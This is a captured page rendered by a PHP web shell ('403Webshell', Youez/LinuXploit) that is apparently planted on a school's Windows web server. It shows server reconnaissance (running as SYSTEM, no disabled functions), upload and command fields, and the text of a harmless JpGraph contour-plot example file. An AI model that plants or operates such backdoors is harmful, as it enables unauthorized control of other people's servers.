403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/check/webadmin/S_Graph/jpgraph/Examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/check/webadmin/S_Graph/jpgraph/Examples/contourex02.php
<?php // content="text/plain; charset=utf-8"
// Contour plot example 02

require_once ('jpgraph/jpgraph.php');
require_once ('jpgraph/jpgraph_contour.php');

$data = array(
    array (12,12,10,10,8,4),
    array (10,10,8,14,10,3),
    array (7,7,13,17,12,8),
    array (4,5,8,12,7,6),
    array (10,8,7,8,10,4));

// Setup a basic graph context with some generous margins to be able
// to fit the legend
$graph = new Graph(500,380);
$graph->SetMargin(40,140,60,40);

$graph->title->Set("Example of contour plot");
$graph->title->SetFont(FF_ARIAL,FS_BOLD,14);

// For contour plots it is custom to use a box style ofr the axis
$graph->legend->SetPos(0.05,0.5,'right','center');
$graph->SetScale('intint');
$graph->SetAxisStyle(AXSTYLE_BOXOUT);
$graph->xgrid->Show();
$graph->ygrid->Show();


// A simple contour plot with 12 isobar lines and flipped Y-coordinates
$cp = new ContourPlot($data,12,true);

// Display the legend
$cp->ShowLegend();

// Make the isobar lines slightly thicker
$graph->Add($cp);

// ... and send the graph back to the browser
$graph->Stroke();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit